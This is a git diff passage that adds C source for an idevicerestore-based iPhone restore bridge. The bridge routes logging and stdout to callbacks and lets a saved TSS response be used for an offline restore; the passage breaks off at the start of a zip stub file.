+ // data request messages are sent by restored whenever it requires
+ // files sent to the server by the client. these data requests include
+ // SystemImageData, RootTicket, KernelCache, NORData and BasebandData requests
+ if (!strcmp(type, "DataRequestMsg")) {
+ err = restore_handle_data_request_msg(client, message);
+ }
+
+ // async data request message
+ else if (!strcmp(type, "AsyncDataRequestMsg")) {
+ THREAD_T t = THREAD_T_NULL;
+ struct _restore_async_args* args = (struct _restore_async_args*)malloc(sizeof(struct _restore_async_args));
+ args->client = client;
+ args->message = plist_copy(message);
+ if (thread_new(&t, _restore_handle_async_data_request, args) < 0) {
+ free(args);
+ logger(LL_ERROR, "Failed to start async data request handler thread!\n");
+ err = -1;
+ if (client->flags & FLAG_IGNORE_ERRORS) {
+ client->flags &= ~FLAG_IGNORE_ERRORS;
+ }
+ } else {
+ thread_detach(t);
+ }
+ }
+
+ // restore logs are available if a previous restore failed
+ else if (!strcmp(type, "PreviousRestoreLogMsg")) {
+ err = restore_handle_previous_restore_log_msg(restore, message);
+ }
+
+ // progress notification messages sent by the restored inform the client
+ // of it's current operation and sometimes percent of progress is complete
+ else if (!strcmp(type, "ProgressMsg")) {
+ err = restore_handle_progress_msg(client, message);
+ }
+
+ // status messages usually indicate the current state of the restored
+ // process or often to signal an error has been encountered
+ else if (!strcmp(type, "StatusMsg")) {
+ err = restore_handle_status_msg(client, message);
+ if (restore_finished) {
+ plist_t dict = plist_new_dict();
+ plist_dict_set_item(dict, "MsgType", plist_new_string("ReceivedFinalStatusMsg"));
+ restored_send(restore, dict);
+ plist_free(dict);
+ client->flags |= FLAG_QUIT;
+ }
+ }
+
+ else if (!strcmp(type, "CheckpointMsg")) {
+ uint64_t ckpt_id;
+ int64_t ckpt_res;
+ uint8_t ckpt_complete = 0;
+ const char* ckpt_name = NULL;
+ // Get checkpoint id
+ node = plist_dict_get_item(message, "CHECKPOINT_ID");
+ if (!node || plist_get_node_type(node) != PLIST_INT) {
+ logger(LL_DEBUG, "Failed to parse checkpoint id from checkpoint plist\n");
+ err = -1;
+ break;
+ }
+ plist_get_uint_val(node, &ckpt_id);
+ // Get checkpoint_name
+ node = plist_dict_get_item(message, "CHECKPOINT_NAME");
+ ckpt_name = (node) ? plist_get_string_ptr(node, NULL) : "unknown";
+ // Get checkpoint result
+ node = plist_dict_get_item(message, "CHECKPOINT_RESULT");
+ if (!node || plist_get_node_type(node) != PLIST_INT) {
+ logger(LL_DEBUG, "Failed to parse checkpoint result from checkpoint plist\n");
+ err = -1;
+ break;
+ }
+ plist_get_int_val(node, &ckpt_res);
+ // Get checkpoint complete
+ node = plist_dict_get_item(message, "CHECKPOINT_COMPLETE");
+ if (PLIST_IS_BOOLEAN(node)) {
+ plist_get_bool_val(node, &ckpt_complete);
+ }
+
+ if (ckpt_complete) {
+ logger(LL_VERBOSE, "Checkpoint completed id: 0x%" PRIX64 " (%s) result=%" PRIi64 "\n", ckpt_id, ckpt_name, ckpt_res);
+ } else {
+ logger(LL_VERBOSE, "Checkpoint started id: 0x%" PRIX64 " (%s)\n", ckpt_id, ckpt_name);
+ }
+ node = plist_dict_get_item(message, "CHECKPOINT_WARNING");
+ if (node) {
+ logger(LL_VERBOSE, "Checkpoint WARNING id: 0x%" PRIX64 " result=%" PRIi64 ": %s\n", ckpt_id, ckpt_res, plist_get_string_ptr(node, NULL));
+ }
+ node = plist_dict_get_item(message, "CHECKPOINT_ERROR");
+ if (node) {
+ logger(LL_VERBOSE, "Checkpoint FAILURE id: 0x%" PRIX64 " result=%" PRIi64 ": %s\n", ckpt_id, ckpt_res, plist_get_string_ptr(node, NULL));
+ }
+ }
+
+ // baseband update message
+ else if (!strcmp(type, "BBUpdateStatusMsg")) {
+ err = restore_handle_bb_update_status_msg(client, message);
+ }
+
+ // baseband updater output data request
+ else if (!strcmp(type, "BasebandUpdaterOutputData")) {
+ err = restore_handle_baseband_updater_output_data(client, message);
+ }
+
+ // handle restored crash, print backtrace
+ else if (!strcmp(type, "RestoredCrash")) {
+ err = restore_handle_restored_crash(client, message);
+ }
+
+ // handle async wait
+ else if (!strcmp(type, "AsyncWait")) {
+ err = restore_handle_async_wait(client, message);
+ }
+
+ else if (!strcmp(type, "RestoreAttestation")) {
+ err = restore_handle_restore_attestation(client, message);
+ }
+
+ else if (!strcmp(type, "RestoreProtocol")) {
+ logger(LL_DEBUG, "RestoreProtocol message:\n");
+ logger_dump_plist(LL_DEBUG, message, 1);
+ }
+
+ // there might be some other message types i'm not aware of, but I think
+ // at least the "previous error logs" messages usually end up here
+ else {
+ logger(LL_DEBUG, "Unknown message type received\n");
+ logger_dump_plist(LL_DEBUG, message, 1);
+ }
+
+ free(type);
+ plist_free(message);
+ message = NULL;
+ }
+ if (client->async_err != 0) {
+ err = client->async_err;
+ }
+
+#ifdef HAVE_REVERSE_PROXY
+ reverse_proxy_client_free(rproxy);
+#else
+ if (thread_alive(fdr_thread)) {
+ if (fdr_control_channel) {
+ fdr_disconnect(fdr_control_channel);
+ thread_join(fdr_thread);
+ fdr_control_channel = NULL;
+ }
+ }
+#endif
+
+ restore_client_free(client);
+ return err;
+}
diff --git a/sources/MobileRestoreCore/restore.h b/sources/MobileRestoreCore/restore.h
new file mode 100644
index 00000000..763331dd
--- /dev/null
+++ b/sources/MobileRestoreCore/restore.h
@@ -0,0 +1,68 @@
+/*
+ * restore.h
+ * Functions for handling idevices in restore mode
+ *
+ * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2012-2015 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_RESTORE_H
+#define IDEVICERESTORE_RESTORE_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <plist/plist.h>
+#include <libimobiledevice/restore.h>
+#include <libimobiledevice/libimobiledevice.h>
+
+struct restore_client_t {
+ plist_t tss;
+ plist_t bbtss;
+ idevice_t device;
+ char* udid;
+ unsigned int operation;
+ uint64_t protocol_version;
+ restored_client_t client;
+ plist_t build_identity;
+};
+
+int restore_check_mode(struct idevicerestore_client_t* client);
+irecv_device_t restore_get_irecv_device(struct idevicerestore_client_t* client);
+int restore_client_new(struct idevicerestore_client_t* client);
+void restore_client_free(struct idevicerestore_client_t* client);
+int restore_is_image4_supported(struct idevicerestore_client_t* client);
+int restore_reboot(struct idevicerestore_client_t* client);
+const char* restore_progress_string(unsigned int operation);
+int restore_handle_status_msg(struct idevicerestore_client_t* client, plist_t message);
+int restore_handle_progress_msg(struct idevicerestore_client_t* client, plist_t message);
+int restore_handle_data_request_msg(struct idevicerestore_client_t* client, plist_t message);
+int restore_send_nor(struct idevicerestore_client_t* client, plist_t message);
+int restore_send_root_ticket(struct idevicerestore_client_t* client, plist_t message);
+int restore_send_component(struct idevicerestore_client_t* client, plist_t message, const char* component, const char* component_name);
+int restore_device(struct idevicerestore_client_t* client, plist_t build_identity);
+int restore_open_with_timeout(struct idevicerestore_client_t* client);
+int restore_send_filesystem(struct idevicerestore_client_t* client, plist_t message);
+int restore_send_fdr_trust_data(struct idevicerestore_client_t* client, plist_t message);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/vphone_restore_bridge.c b/sources/MobileRestoreCore/vphone_restore_bridge.c
new file mode 100644
index 00000000..a57697a9
--- /dev/null
+++ b/sources/MobileRestoreCore/vphone_restore_bridge.c
@@ -0,0 +1,703 @@
+/*
+ * vphone_restore_bridge.c
+ *
+ * What stands in for upstream's main(). NOT an upstream file.
+ *
+ * src/idevicerestore.c is compiled with IDEVICERESTORE_NOMAIN, so everything
+ * below its `#ifndef IDEVICERESTORE_NOMAIN` guard — argv parsing, the usage
+ * text, the SIGINT handler and main() itself — is gone, and this file builds
+ * the same struct idevicerestore_client_t from a struct instead. Read
+ * vphone_restore_bridge.h for the caller's side of the contract.
+ *
+ * Three things here are worth reading before changing anything:
+ *
+ * 1. The offline ticket. Upstream's -T/--ticket is NOT what this bridge's
+ * `ticket_path` does, and it cannot be — see "THE OFFLINE TICKET" below.
+ * 2. The log plumbing. idevicerestore writes to two places, a levelled
+ * logger() and plain printf(), and both have to end up at one callback.
+ * 3. Process-global state. idevicerestore keeps the log level, the debug
+ * flag and the quit flag in globals, so only one restore can run at a
+ * time and vphone_restore_run() enforces that.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <errno.h>
+#include <pthread.h>
+#include <stdarg.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+
+#include <curl/curl.h>
+#include <plist/plist.h>
+#include <zlib.h>
+
+#include "common.h"
+#include "idevicerestore.h"
+#include "log.h"
+
+#include "vphone_restore_bridge.h"
+
+/*
+ * log.c defines this next to `log_level`, which log.h does declare. It is the
+ * ceiling on what reaches logger_set_print_func()'s callback: anything above
+ * it goes only to the stderr copy, which this bridge turns off. Upstream's
+ * main() never moves it because its own callback writes to a terminal that
+ * also gets the stderr copy. Here the callback is all there is, so debug
+ * output would be dropped silently unless the ceiling comes up with
+ * `log_level`.
+ */
+extern enum loglevel print_level;
+
+/* --- Shared state ------------------------------------------------------ */
+
+/*
+ * One restore at a time, and every global below is covered by g_lock at the
+ * moments it is installed and torn down. The callbacks themselves are read
+ * without the lock, from whichever worker thread is logging — they are set
+ * before idevicerestore_start() and cleared after it returns, so there is no
+ * window in which a thread inside the restore sees them change.
+ */
+static pthread_mutex_t g_lock = PTHREAD_MUTEX_INITIALIZER;
+static int g_running = 0;
+
+static vphone_restore_log_cb_t g_log_cb = NULL;
+static vphone_restore_progress_cb_t g_progress_cb = NULL;
+static void *g_context = NULL;
+
+/* The saved TSS response for an offline restore, or NULL. See below. */
+static plist_t g_offline_tss = NULL;
+
+/*
+ * Set for as long as this thread is inside one of the caller's callbacks. The
+ * stdout capture below uses it to break the loop a callback that prints would
+ * otherwise close: callback -> printf -> captured stdout -> callback.
+ */
+static __thread int g_in_callback = 0;
+
+static void vphone_emit(int level, const char *message)
+{
+ vphone_restore_log_cb_t cb = g_log_cb;
+ if (!cb || !message) {
+ return;
+ }
+ g_in_callback++;
+ cb(level, message, g_context);
+ g_in_callback--;
+}
+
+/* --- THE OFFLINE TICKET ------------------------------------------------ */
+
+/*
+ * `ticket_path` is NOT upstream's -T/--ticket, and this is the one place in
+ * this target where an upstream file is patched rather than copied. Both
+ * halves of that deserve the explanation.
+ *
+ * What -T does, in this exact snapshot of src/idevicerestore.c:
+ *
+ * - line 1966-1974, in main()'s getopt loop: read_file(optarg, …) into
+ * client->root_ticket / client->root_ticket_len. Raw bytes, no parsing.
+ * - line 1281-1292, in idevicerestore_start(): if the device is already in
+ * restore mode, wrap those bytes in a PLIST_DATA node, build a BRAND NEW
+ * one-key dict, and assign it to client->tss:
+ *
+ * client->tss = plist_new_dict();
+ * plist_dict_set_item(client->tss, "ApImg4Ticket", ap_ticket);
+ *
+ * So -T's client->tss holds the AP ticket and nothing else. A real TSS
+ * response is a dict with an entry PER COMPONENT — iBEC, iBoot, SEP, the
+ * kernelcache and the rest — each carrying that component's Blob/signature,
+ * and personalize_component() looks its component up in client->tss by name.
+ * With -T there is nothing to look up, so every component personalizes
+ * without its signature and the device rejects it. -T is for the narrow case
+ * where a device is already in restore mode and only the AP ticket is still
+ * needed; it is not an offline restore.
+ *
+ * The backend this replaces, pymobiledevice3, passed the whole response
+ * plist: `Restore(ipsw, device, tss=tss, …)` where tss came straight from
+ * `fetch_tss_record()`. That is what scripts/pymobiledevice3_bridge.py's
+ * --tss option carried, and it is what `make restore_offline` feeds from the
+ * .shsh file that `make restore_get_shsh` wrote. So the bridge has to install
+ * the full response as client->tss, not a bare ticket.
+ *
+ * There is no seam in upstream for that. client->tss is written in exactly
+ * four places: the -T block above, and three calls to get_tss_response()
+ * (idevicerestore.c:1294 and :1513, dfu.c:520), each of which passes
+ * &client->tss. Pre-setting the field does not survive, because
+ * get_tss_response() starts with `*tss = NULL;` (idevicerestore.c:2353), and
+ * its own local-.shsh cache is reachable only when build_major <= 8 or
+ * FLAG_CUSTOM is set — neither is true for a modern iPhone. Interposing the
+ * symbol is not possible either: it is a plain static-library symbol that the
+ * calling translation units resolve directly.
+ *
+ * So get_tss_response() carries a four-line hook at its top, marked `vphone:`
+ * in idevicerestore.c, that calls the function below and returns early if it
+ * fills the response. That is the ONLY edit to upstream code in this target.
+ *
+ * The hook fires for the main request only. All three call sites pass
+ * &client->tss, and the one request that must still go to Apple — the
+ * recovery-OS root ticket at idevicerestore.c:1316 — passes
+ * &client->tss_recoveryos_root_ticket instead, so comparing the out-parameter
+ * against &client->tss separates them exactly.
+ */
+int vphone_offline_tss_lookup(struct idevicerestore_client_t *client,
+ plist_t build_identity, plist_t *tss);
+
+int vphone_offline_tss_lookup(struct idevicerestore_client_t *client,
+ plist_t build_identity, plist_t *tss)
+{
+ (void)build_identity;
+
+ if (!g_offline_tss || !client || !tss || tss != &client->tss) {
+ return 0;
+ }
+
+ plist_t copy = plist_copy(g_offline_tss);
+ if (!copy) {
+ logger(LL_ERROR, "Out of memory copying the saved TSS response\n");
+ return 0;
+ }
+
+ *tss = copy;
+ logger(LL_INFO, "Using the saved TSS response; not contacting Apple\n");
+ return 1;
+}
+
+/*
+ * Loads the file `path` into a plist.
+ *
+ * Two shapes have to work, because two different tools write these files:
+ * idevicerestore's own -t/--shsh writes a gzipped binary plist (see the
+ * gzopen/gzwrite in idevicerestore.c's FLAG_SHSHONLY block), while
+ * pymobiledevice3 dumped a plain XML plist. plist_from_memory() detects
+ * binary, XML and JSON on its own, so the only thing to handle here is the
+ * gzip wrapper.
+ */
+static int vphone_load_tss_file(const char *path, plist_t *out)
+{
+ unsigned char *raw = NULL;
+ size_t raw_len = 0;
+ plist_t parsed = NULL;
+
+ *out = NULL;
+
+ if (read_file(path, (void **)&raw, &raw_len) != 0 || !raw || raw_len < 8) {
+ logger(LL_ERROR, "Could not read the ticket at '%s'\n", path);
+ free(raw);
+ return -1;
+ }
+
+ if (raw[0] == 0x1f && raw[1] == 0x8b) {
+ /* gzip. What `-t/--shsh` and this bridge's shsh_only write. */
+ free(raw);
+ raw = NULL;
+ raw_len = 0;
+
+ gzFile zf = gzopen(path, "rb");
+ if (!zf) {
+ logger(LL_ERROR, "Could not open the gzipped ticket at '%s'\n", path);
+ return -1;
+ }
+ size_t cap = 65536;
+ unsigned char *buf = (unsigned char *)malloc(cap);
+ size_t len = 0;
+ int failed = (buf == NULL);
+ while (!failed) {
+ int n = gzread(zf, buf + len, (unsigned int)(cap - len));
+ if (n < 0) {
+ logger(LL_ERROR, "Could not decompress the ticket at '%s'\n", path);
+ failed = 1;
+ break;
+ }
+ len += (size_t)n;
+ if (len < cap) {
+ break; /* short read means end of stream */
+ }
+ cap *= 2;
+ unsigned char *bigger = (unsigned char *)realloc(buf, cap);
+ if (!bigger) {
+ failed = 1;
+ break;
+ }
+ buf = bigger;
+ }
+ gzclose(zf);
+ if (failed) {
+ free(buf);
+ return -1;
+ }
+ raw = buf;
+ raw_len = len;
+ }
+
+ if (raw_len == 0 || raw_len > UINT32_MAX) {
+ logger(LL_ERROR, "The ticket at '%s' is empty or implausibly large\n", path);
+ free(raw);
+ return -1;
+ }
+
+ plist_from_memory((const char *)raw, (uint32_t)raw_len, &parsed, NULL);
+ free(raw);
+
+ if (!parsed) {
+ logger(LL_ERROR, "The ticket at '%s' is not a property list\n", path);
+ return -1;
+ }
+ if (plist_get_node_type(parsed) != PLIST_DICT) {
+ logger(LL_ERROR, "The ticket at '%s' is not a TSS response dictionary\n", path);
+ plist_free(parsed);
+ return -1;
+ }
+ if (!plist_dict_get_item(parsed, "ApImg4Ticket")) {
+ /*
+ * Not fatal — a pre-Image4 device's response has no ApImg4Ticket —
+ * but on anything modern its absence means the wrong file was passed,
+ * most likely a bare AP ticket rather than the whole response.
+ */
+ logger(LL_WARNING,
+ "The ticket at '%s' has no ApImg4Ticket entry; if this is a bare "
+ "AP ticket rather than a full TSS response, the restore will fail\n",
+ path);
+ }
+
+ *out = parsed;
+ return 0;
+}
+
+/* --- Log plumbing ------------------------------------------------------ */
+
+/*
+ * idevicerestore's levelled channel. logger() hands this the message with the
+ * timestamp and level label already stripped, plus the level itself, which is
+ * exactly the shape vphone_restore_log_cb_t wants.
+ *
+ * logger() holds its own mutex across this call, so the formatting below is
+ * already serialised; the stack buffer is per-call regardless.
+ */
+static void vphone_log_print(enum loglevel level, const char *fmt, va_list ap)
+{
+ char stack_buf[2048];
+ va_list copy;
+ int needed;
+
+ if (!g_log_cb) {
+ return;
+ }
+
+ va_copy(copy, ap);
+ needed = vsnprintf(stack_buf, sizeof(stack_buf), fmt, copy);
+ va_end(copy);
+
+ if (needed < 0) {
+ return;
+ }
+ if ((size_t)needed < sizeof(stack_buf)) {
+ vphone_emit((int)level, stack_buf);
+ return;
+ }
+
+ char *heap_buf = (char *)malloc((size_t)needed + 1);
+ if (!heap_buf) {
+ stack_buf[sizeof(stack_buf) - 1] = '\0';
+ vphone_emit((int)level, stack_buf);
+ return;
+ }
+ vsnprintf(heap_buf, (size_t)needed + 1, fmt, ap);
+ vphone_emit((int)level, heap_buf);
+ free(heap_buf);
+}
+
+/*
+ * idevicerestore's OTHER channel: plain printf(3). common.c prints the banner
+ * box, the ASCII progress bars and the interactive prompts straight to
+ * stdout, and logger_dump_plist() writes a whole plist to a FILE* too. None
+ * of that goes through logger(), so none of it would reach the callback.
+ *
+ * funopen(3) is the answer: a FILE* backed by the function below, installed
+ * as `stdout` for the duration of the run. On Darwin `stdout` is a macro for
+ * the assignable global __stdoutp, so the swap is a plain assignment and the
+ * original is put back before vphone_restore_run() returns.
+ *
+ * That swap is process-wide while it lasts. It is a deliberate trade — the
+ * alternative is idevicerestore printing onto a terminal the caller may not
+ * have — and it is the other half of why only one restore may run at a time.
+ * A host that prints from another thread during a restore will see those
+ * lines arrive at its own log callback instead of on stdout.
+ *
+ * With one exception, and it is not optional: a log callback that itself
+ * prints to stdout — which is the obvious thing for a callback to do — would
+ * otherwise feed its own output straight back into itself and recurse until
+ * the stack runs out. g_in_callback marks that case and the write goes to the
+ * real stdout instead, so printing from either callback works and lands where
+ * the caller expects.
+ *
+ * stdio takes the FILE's lock around each call, so the line buffer below is
+ * only ever touched by one thread at a time.
+ */
+static char g_line_buf[4096];
+static size_t g_line_len = 0;
+static FILE *g_real_stdout = NULL;
+
+static void vphone_flush_line(void)
+{
+ if (g_line_len == 0) {
+ return;
+ }
+ g_line_buf[g_line_len] = '\0';
+ vphone_emit((int)LL_INFO, g_line_buf);
+ g_line_len = 0;
+}
+
+static int vphone_stdout_write(void *cookie, const char *data, int len)
+{
+ (void)cookie;
+
+ /* The caller's own callback is printing. Let it through untouched. */
+ if (g_in_callback) {
+ if (g_real_stdout) {
+ fwrite(data, 1, (size_t)len, g_real_stdout);
+ fflush(g_real_stdout);
+ }
+ return len;
+ }
+
+ for (int i = 0; i < len; i++) {
+ char c = data[i];
+ /*
+ * '\r' as well as '\n': a progress bar redraws itself with a carriage
+ * return and no newline, and a callback wants one message per redraw
+ * rather than one enormous line at the end.
+ */
+ if (c == '\n' || c == '\r') {
+ vphone_flush_line();
+ continue;
+ }
+ if (g_line_len + 1 >= sizeof(g_line_buf)) {
+ vphone_flush_line();
+ }
+ g_line_buf[g_line_len++] = c;
+ }
+ return len;
+}
+
+static int vphone_stdout_close(void *cookie)
+{
+ (void)cookie;
+ vphone_flush_line();
+ return 0;
+}
+
+/* --- Progress and the other UI hooks ----------------------------------- */
+
+static void vphone_progress_cb(int step, double step_progress, void *userdata)
+{
+ (void)userdata;
+ vphone_restore_progress_cb_t cb = g_progress_cb;
+ if (!cb) {
+ return;
+ }
+ /* Same guard as vphone_emit: a progress callback that prints must not
+ have its own output captured and turned back into log lines. */
+ g_in_callback++;
+ cb(step, step_progress, g_context);
+ g_in_callback--;
+}
+
+/*
+ * common.c's second progress channel, for sub-tasks inside a step (the
+ * filesystem upload, each firmware component). Left to itself it draws ASCII
+ * bars; forwarded here it becomes one verbose line per task per update, which
+ * set_progress_granularity() below keeps down to roughly twenty per task.
+ */
+static void vphone_update_progress(struct progress_info_entry **list, int count)
+{
+ char line[256];
+
+ if (!g_log_cb || !list) {
+ return;
+ }
+ for (int i = 0; i < count; i++) {
+ struct progress_info_entry *entry = list[i];
+ if (!entry || !entry->label) {
+ continue;
+ }
+ snprintf(line, sizeof(line), "%s: %5.1f%%\n", entry->label, entry->progress * 100.0);
+ vphone_emit((int)LL_VERBOSE, line);
+ }
+}
+
+static void vphone_show_banner(const char *text)
+{
+ if (text) {
+ vphone_emit((int)LL_NOTICE, text);
+ }
+}
+
+static void vphone_hide_banner(void)
+{
+}
+
+/*
+ * There is nobody at a terminal. prompt_user() is only reached under
+ * FLAG_INTERACTIVE, which this bridge never sets, but installing a prompt
+ * function closes the door properly: without one, common.c falls through to
+ * get_user_input() and blocks on stdin forever. A negative result is the one
+ * that makes idevicerestore set FLAG_QUIT and stop, which is the right answer
+ * when the question is "shall I destroy all data on this device".
+ */
+static int vphone_prompt(const char *title, const char *text)
+{
+ char line[1024];
+ snprintf(line, sizeof(line), "%s: %s", title ? title : "prompt", text ? text : "");
+ vphone_emit((int)LL_WARNING, line);
+ vphone_emit((int)LL_ERROR,
+ "Cannot answer that question without a user; stopping.\n");
+ return -1;
+}
+
+/* --- Small public helpers ---------------------------------------------- */
+
+const char *vphone_restore_step_name(int step)
+{
+ switch (step) {
+ case VPHONE_RESTORE_STEP_DETECT: return "detect";
+ case VPHONE_RESTORE_STEP_PREPARE: return "prepare";
+ case VPHONE_RESTORE_STEP_UPLOAD_FS: return "upload filesystem";
+ case VPHONE_RESTORE_STEP_VERIFY_FS: return "verify filesystem";
+ case VPHONE_RESTORE_STEP_FLASH_FW: return "flash firmware";
+ case VPHONE_RESTORE_STEP_FLASH_BB: return "flash baseband";
+ case VPHONE_RESTORE_STEP_FUD: return "flash FUD";
+ case VPHONE_RESTORE_STEP_UPLOAD_IMG: return "upload image";
+ default: return "unknown";
+ }
+}
+
+const char *vphone_restore_error_string(int code)
+{
+ switch (code) {
+ case VPHONE_RESTORE_OK:
+ return "the restore finished";
+ case VPHONE_RESTORE_E_INVALID_ARG:
+ return "no options were given";
+ case VPHONE_RESTORE_E_NO_RESTORE_DIR:
+ return "restore_dir must name an extracted iPhone*_Restore directory";
+ case VPHONE_RESTORE_E_TICKET:
+ return "the ticket file could not be read as a TSS response";
+ case VPHONE_RESTORE_E_OUT_OF_MEMORY:
+ return "out of memory";
+ case VPHONE_RESTORE_E_BUSY:
+ return "another restore is already running in this process";
+ default:
+ return "idevicerestore stopped; see the log for what happened";
+ }
+}
+
+/* --- Running a restore ------------------------------------------------- */
+
+/*
+ * The part of upstream's main() that builds a client and starts it. Called
+ * once the log plumbing is up and the arguments have been checked.
+ */
+static int vphone_drive_idevicerestore(const struct vphone_restore_options *options)
+{
+ struct idevicerestore_client_t *client = NULL;
+ int result;
+ int flags = 0;
+
+ client = idevicerestore_client_new();
+ if (!client) {
+ return VPHONE_RESTORE_E_OUT_OF_MEMORY;
+ }
+
+ /*
+ * The flag set upstream's getopt loop would have built. FLAG_INTERACTIVE
+ * is pointedly absent: main() turns it on when stdin and stdout are both
+ * a tty, and here neither is anything of the sort.
+ */
+ if (options->erase) {
+ flags |= FLAG_ERASE;
+ }
+ if (options->shsh_only) {
+ flags |= FLAG_SHSHONLY;
+ }
+ if (options->keep_pers) {
+ flags |= FLAG_KEEP_PERS;
+ }
+ if (options->debug_level > 0) {
+ flags |= FLAG_DEBUG;
+ }
+ idevicerestore_set_flags(client, flags);
+ client->debug_level = options->debug_level;
+
+ idevicerestore_set_ecid(client, options->ecid);
+ if (options->udid) {
+ idevicerestore_set_udid(client, options->udid);
+ }
+ if (options->cache_dir) {
+ idevicerestore_set_cache_path(client, options->cache_dir);
+ }
+
+ /*
+ * Always ours, never the caller's directly: idevicerestore_progress()
+ * draws an ASCII bar when the client has no callback at all, and that is
+ * output nobody asked for. vphone_progress_cb forwards to the caller's if
+ * there is one and swallows it otherwise.
+ */
+ idevicerestore_set_progress_callback(client, vphone_progress_cb, NULL);
+
+ logger(LL_INFO, "%s %s (libirecovery %s)\n", PACKAGE_NAME, PACKAGE_VERSION, irecv_version());
+
+ /*
+ * ipsw_open() reports its own reason and returns NULL, and
+ * idevicerestore_set_ipsw() swallows that, so the field is what says
+ * whether it worked.
+ */
+ idevicerestore_set_ipsw(client, options->restore_dir);
+ if (!client->ipsw) {
+ logger(LL_ERROR, "Could not open the restore directory '%s'\n", options->restore_dir);
+ idevicerestore_client_free(client);
+ return VPHONE_RESTORE_E_NO_RESTORE_DIR;
+ }
+
+ curl_global_init(CURL_GLOBAL_ALL);
+
+ client->flags |= FLAG_IN_PROGRESS;
+ result = idevicerestore_start(client);
+ client->flags &= ~FLAG_IN_PROGRESS;
+
+ idevicerestore_client_free(client);
+ curl_global_cleanup();
+
+ return result;
+}
+
+int vphone_restore_run(const struct vphone_restore_options *options)
+{
+ FILE *fake_stdout = NULL;
+ FILE *saved_stdout = NULL;
+ enum loglevel saved_log_level;
+ enum loglevel saved_print_level;
+ struct stat st;
+ int result;
+
+ /* The only failure that cannot be reported: there is no callback to
+ report it to. */
+ if (!options) {
+ return VPHONE_RESTORE_E_INVALID_ARG;
+ }
+
+ pthread_mutex_lock(&g_lock);
+ if (g_running) {
+ pthread_mutex_unlock(&g_lock);
+ return VPHONE_RESTORE_E_BUSY;
+ }
+ g_running = 1;
+ g_log_cb = options->log_cb;
+ g_progress_cb = options->progress_cb;
+ g_context = options->context;
+ pthread_mutex_unlock(&g_lock);
+
+ /* Levels first, so the ticket load below is already being reported. */
+ saved_log_level = log_level;
+ saved_print_level = print_level;
+ log_level = (options->debug_level > 0) ? LL_DEBUG : LL_INFO;
+ print_level = log_level;
+
+ logger_set_print_func(vphone_log_print);
+ /*
+ * "NONE" only clears log.c's stderr_enabled; it opens no file. Upstream's
+ * main() would otherwise create a restore_<ecid>_<timestamp>.log in the
+ * working directory and freopen(3) the process's stderr onto it, which is
+ * not a library's business. With the stderr copy off, logger() hands each
+ * line to vphone_log_print and nowhere else.
+ */
+ logger_set_logfile("NONE");
+
+ set_banner_funcs(vphone_show_banner, vphone_hide_banner);
+ set_prompt_func(vphone_prompt);
+ set_update_progress_func(vphone_update_progress);
+ set_progress_granularity(0.05);
+
+ g_line_len = 0;
+ fake_stdout = funopen(NULL, NULL, vphone_stdout_write, NULL, vphone_stdout_close);
+ if (fake_stdout) {
+ setvbuf(fake_stdout, NULL, _IOLBF, 0);
+ saved_stdout = stdout;
+ g_real_stdout = saved_stdout;
+ stdout = fake_stdout;
+ }
+
+ /*
+ * Everything below here is reported through the callback, which is why
+ * the argument checks wait until the log plumbing is up.
+ *
+ * restore_dir has to be a directory, not a .ipsw: src/ipsw.c would take
+ * its libzip arm for a regular file, and this build has no libzip (see
+ * zip.h). Saying so here, where the message can name the real problem, is
+ * better than letting zip_open() report it four layers down.
+ */
+ if (!options->restore_dir || options->restore_dir[0] == '\0') {
+ logger(LL_ERROR, "No restore directory was given\n");
+ result = VPHONE_RESTORE_E_NO_RESTORE_DIR;
+ goto done;
+ }
+ if (stat(options->restore_dir, &st) != 0) {
+ logger(LL_ERROR, "Cannot use '%s' as a restore directory: %s\n",
+ options->restore_dir, strerror(errno));
+ result = VPHONE_RESTORE_E_NO_RESTORE_DIR;
+ goto done;
+ }
+ if (!S_ISDIR(st.st_mode)) {
+ logger(LL_ERROR,
+ "'%s' is not a directory; this build restores from an extracted "
+ "iPhone*_Restore directory, not from a .ipsw archive\n",
+ options->restore_dir);
+ result = VPHONE_RESTORE_E_NO_RESTORE_DIR;
+ goto done;
+ }
+
+ if (options->ticket_path && options->ticket_path[0] != '\0') {
+ if (vphone_load_tss_file(options->ticket_path, &g_offline_tss) != 0) {
+ result = VPHONE_RESTORE_E_TICKET;
+ goto done;
+ }
+ logger(LL_INFO, "Restoring offline with the TSS response at '%s'\n",
+ options->ticket_path);
+ }
+
+ result = vphone_drive_idevicerestore(options);
+
+done:
+ if (g_offline_tss) {
+ plist_free(g_offline_tss);
+ g_offline_tss = NULL;
+ }
+
+ if (fake_stdout) {
+ fflush(fake_stdout);
+ stdout = saved_stdout;
+ fclose(fake_stdout); /* flushes the last partial line through close */
+ g_real_stdout = NULL;
+ }
+
+ set_update_progress_func(NULL);
+ set_prompt_func(NULL);
+ set_banner_funcs(NULL, NULL);
+ logger_set_print_func(NULL);
+
+ log_level = saved_log_level;
+ print_level = saved_print_level;
+
+ pthread_mutex_lock(&g_lock);
+ g_log_cb = NULL;
+ g_progress_cb = NULL;
+ g_context = NULL;
+ g_running = 0;
+ pthread_mutex_unlock(&g_lock);
+
+ return result;
+}
diff --git a/sources/MobileRestoreCore/vphone_zip_stub.c b/sources/MobileRestoreCore/vphone_zip_stub.c
new file mode 100644
index 00000000..18d97c70
--- /dev/null
+++ b/sources/MobileRestoreCore/vphone_zip_stub.c
@@ -0,0 +1,260 @@
+/*
+ * vphone_zip_stub.c
+ *
